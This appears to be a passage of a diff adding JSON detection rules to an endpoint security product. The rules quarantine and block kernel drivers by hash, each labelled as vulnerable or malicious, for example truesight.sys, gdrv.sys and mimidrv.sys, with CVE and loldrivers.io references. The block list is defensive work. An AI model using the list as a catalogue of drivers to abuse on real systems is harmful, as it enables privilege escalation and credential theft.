+  "value": "0019c165b4c461fcdd455c6d78ab0ac4a28b7b57f6dff09d42d8f334e8b6c4bd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f4209b4-0d0a-5225-86cc-ca67dc6022dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979012Z",
+  "creation_date": "2026-03-23T11:45:29.979014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979019Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "348679f0f44eb5a50601c48728a5afd2b4312c95eeb7179ce57d447c0d30f873",
+  "comment": "Vulnerable Kernel Driver (aka PanMonFlt.sys) [https://www.loldrivers.io/drivers/cfdc5cb4-be5c-4dcc-a883-825fa72115b4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f43ed7c-d3d9-56ab-b38b-19ad94fa9f2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979864Z",
+  "creation_date": "2026-03-23T11:45:29.979865Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979885Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c1585b1a1c956c7755429544f3596515dfdf928373620c51b0606a520c6245a",
+  "comment": "Malicious Kernel Driver (aka daxin_blank2.sys) [https://www.loldrivers.io/drivers/2e1531b2-d370-4543-9e2e-5319a1c13c22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f446287-ac3d-5d2b-b8c1-d3bf26766a75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608986Z",
+  "creation_date": "2026-03-23T11:45:29.608988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26c28746e947389856543837aa59a5b1f4697e5721a04d00aa28151a2659b097",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f4d3e27-7cff-54e4-a889-2116b86a4a15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983595Z",
+  "creation_date": "2026-03-23T11:45:29.983597Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50f9323eaf7c49cfca5890c6c46d729574d0caca89f7acc9f608c8226f54a975",
+  "comment": "Malicious Kernel Driver (aka ntbios.sys) [https://www.loldrivers.io/drivers/eef1fcf4-8c54-420b-8d38-9c5f95129dcc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f505155-6103-5c6d-bd5d-92c4fa4f7d12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825522Z",
+  "creation_date": "2026-03-23T11:45:30.825524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825529Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "320ae8c286e987bf73162993087e9ffe1d7d76df3468a6e5bc7dc197b481b00d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f62ff62-d1f2-5700-8d5a-77941dec1dde",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463614Z",
+  "creation_date": "2026-03-23T11:45:30.463617Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463626Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "897f2bbe81fc3b1ae488114b93f3eb0133a85678d061c7a6f718507971f33736",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f735a58-d1ae-5f3d-8b30-2d72d5b8f047",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145747Z",
+  "creation_date": "2026-03-23T11:45:31.145749Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145754Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53d919f64c2e4b457b5b5a7b559ec6d9028d9a906adcb600c2b14e186b2e1577",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f780cee-fb6f-59a0-98fe-068da1f231b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489162Z",
+  "creation_date": "2026-03-23T11:45:31.489163Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489169Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ea3f34058bf171564877f8db413350c947c46a962b6b5ee82b400dd0967bcb9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f83a69a-5739-56d9-bc99-abc22179e75a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144615Z",
+  "creation_date": "2026-03-23T11:45:32.144617Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144622Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f78dd64abcb5a3e1d60f9e9c92422f34a52e009770e6434d2d8aabb6d370737",
+  "comment": "Vulnerable Kernel Driver (aka RtsUer.sys) [https://www.loldrivers.io/drivers/71d930a7-3465-4d27-90d4-2a1a08bebb92/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fa07ce7-4c6f-5567-bfa4-f863ceda720a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829759Z",
+  "creation_date": "2026-03-23T11:45:31.829762Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829771Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b04473fe4284519d6eaafdc8a231d6483e91d1532062f37e5b260a6095b4e674",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fa34d84-033a-50d1-8767-7d4cbb94e0d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619177Z",
+  "creation_date": "2026-03-23T11:45:29.619179Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619184Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "157ce9ae0d09766cfa3e5be8f90e2ac510f0ce3a0bb7cd97e3a5f9aa20c76661",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fb0ebb2-ea1a-5219-9d2d-68efee9ae522",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974504Z",
+  "creation_date": "2026-03-23T11:45:29.974506Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974512Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e71106ee81d050e30afd84cade4ef4a581d70130477aa1e34549e6de50cde87",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fb16975-bd41-5f87-9f48-c4a96fb1bc20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611813Z",
+  "creation_date": "2026-03-23T11:45:29.611815Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611820Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "539aa921b5352ab385430e1608ac5c0ae36f35e678d471b7a5994ec7c02eadea",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz141_x64.sys) [CVE-2017-15303] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fb4cd51-bfdb-5a6b-b2a8-e4f56f5aa0ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613387Z",
+  "creation_date": "2026-03-23T11:45:29.613389Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613394Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d20d8bf80017e98b6dfc9f6c3960271fa792a908758bef49a390e2692a2a4341",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fbceaf1-319e-54dc-b64c-711059ba28d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819760Z",
+  "creation_date": "2026-03-23T11:45:30.819762Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819768Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29f449fca0a41deccef5b0dccd22af18259222f69ed6389beafe8d5168c59e36",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fc93f93-b40f-5555-a33a-2afb21d5d19b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460013Z",
+  "creation_date": "2026-03-23T11:45:30.460016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460024Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df4e25990742fc8d3aed70f6cb4d402e111e7ed08fa5f76aca685b8c03b98b93",
+  "comment": "Vulnerable Kernel Driver (aka LgDataCatcher.sys) [https://www.loldrivers.io/drivers/5961e133-ccc3-4530-8f4f-5d975c41028d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fcc44b8-0249-5c7d-8eab-0d8ac8a65ec5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617059Z",
+  "creation_date": "2026-03-23T11:45:29.617061Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617069Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d259e9b1d04b5fa966094f15f8edbaeba5da2a14bf34bf0a5490a0e308c025d7",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fcdeac3-d35b-5113-82ce-6887000e1663",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827384Z",
+  "creation_date": "2026-03-23T11:45:31.827386Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827392Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "047e83409fd83837c3566e89079fe840f0f127e2ad77f6a2f6a8ff7b31b4738c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fdc24c4-dc6a-57b6-a94b-9ffab90ebe04",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980202Z",
+  "creation_date": "2026-03-23T11:45:29.980204Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980210Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46d1dc89cc5fa327e7adf3e3d6d498657240772b85548c17d2e356aac193dd28",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fdd4bd5-7b5b-5a5a-b101-34ac89410b8d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155469Z",
+  "creation_date": "2026-03-23T11:45:31.155471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155477Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db5fe428d6e069ab0b6d1c33f654144161526eff5fff076bc503f6e0fa153831",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8fe734a2-d6fe-57c6-9d10-5668dd69435b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489091Z",
+  "creation_date": "2026-03-23T11:45:31.489093Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489099Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24ef9613e5fe416bfef5c49b18ccfa453ab275353fa59950d578e42b1b00bb20",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ff8b760-20a0-5fac-8dde-4e0b6b7b3ea2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461498Z",
+  "creation_date": "2026-03-23T11:45:30.461501Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461510Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "115034373fc0ec8f75fb075b7a7011b603259ecc0aca271445e559b5404a1406",
+  "comment": "Vulnerable Kernel Driver (aka netfilterdrv.sys) [https://www.loldrivers.io/drivers/f1dcb0e4-aa53-4e62-ab09-fb7b4a356916/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90048c6b-c146-5408-b210-b399da12293c",
